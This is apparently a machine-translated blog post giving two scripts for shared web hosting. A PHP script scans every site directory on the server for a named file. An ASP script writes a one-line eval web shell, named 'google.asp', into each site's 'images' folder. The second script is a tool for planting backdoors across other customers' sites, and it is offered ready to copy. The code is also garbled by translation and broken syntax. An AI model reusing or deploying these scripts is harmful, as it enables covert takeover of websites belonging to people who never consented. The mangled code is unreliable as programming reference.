PHP writes a small program looking for a two-level directory

Set_time_limit (0); $path = ' d:/hosting '; $somefile = $_get[' key ']; $logfile = ' d:/hosting/6668835/html/images/ennumdir.txt '; if (!isset ($_server[' Php_auth_user ')) { Header (' Www-authenticate:basic realm= ' My realm '); Header (' http/1.0 401 Unauthorized '); Echo ' Text to send if user hits Cancel button '; Exit } else { if (Is_dir ($path) && is_readable ($path)) { $path 2 = "; $handle = Opendir ($path); while (false!== ($filename = Readdir ($handle))) { if ($filename {0}! = $_get[' dir ') { Continue } /* if ($filename Deanne II-mi! = $_get[')] { Continue } */ $path 2 = $path. ' /'. $filename. ' /html '; $path 2 = $path. ' /'. $filename; if (Is_dir ($path 2) && is_readable ($path 2)) { @ $handle 2 = opendir ($path 2); while (False!== ($filename 2 = Readdir ($handle 2))) { if ($filename 2 = = $somefile) { Echo ' [+]found! ']. $filename 2. " \ n "; File_put_contents ($logfile, ' [+]found! ']. $path 2. ' /'. $filename 2. " \ n ", file_append); } } @closedir ($handle 2); } } File_put_contents ($logfile, ' [*]last '. $path 2. " \ n ", file_append); Closedir ($handle); } } ?> Copy Code 2. asp version <% server.scripttimeout=500000000 Key = Trim (Request.QueryString ("key")) msg= "<% eval (Rquese (CHR))%" & ">" Set fso=server.createobject ("Scripting.FileSystemObject") Set Serverfolder=fso. GetFolder ("C:\intel") Set serverfolderlist=serverfolder.subfolders For each serverfileevery in Serverfolderlist ' Response.Write serverfileevery& ' " If LCase (Left (serverfileevery.name, 1)) = LCase (key) Then Set Sserverfolder=fso. GetFolder (Serverfileevery) Set sserverfolderlist=sserverfolder.subfolders For each sserverfileevery in Sserverfolderlist If LCase (sserverfileevery.name) = "Images" Then Streamsavetofile Sserverfileevery & "\google.asp", MSG, "UTF-8" End If Next End If Next Function streamsavetofile (spath, scontent, Scharset) Dim OStream If (InStr (spath, ":") <= 0) Then spath = Replace (spath, ",", ",") spath = Server.MapPath (spath) spath = Replace (spath, ",", ",") End If Set OStream = Server.CreateObject ("ADODB.stream") With OStream . Type = 2 . Mode = 3 . Open . Charset = Scharset . WRITETEXT scontent . SaveToFile spath, 2 . Close End with Set OStream = Nothing End Function %> Copy Code

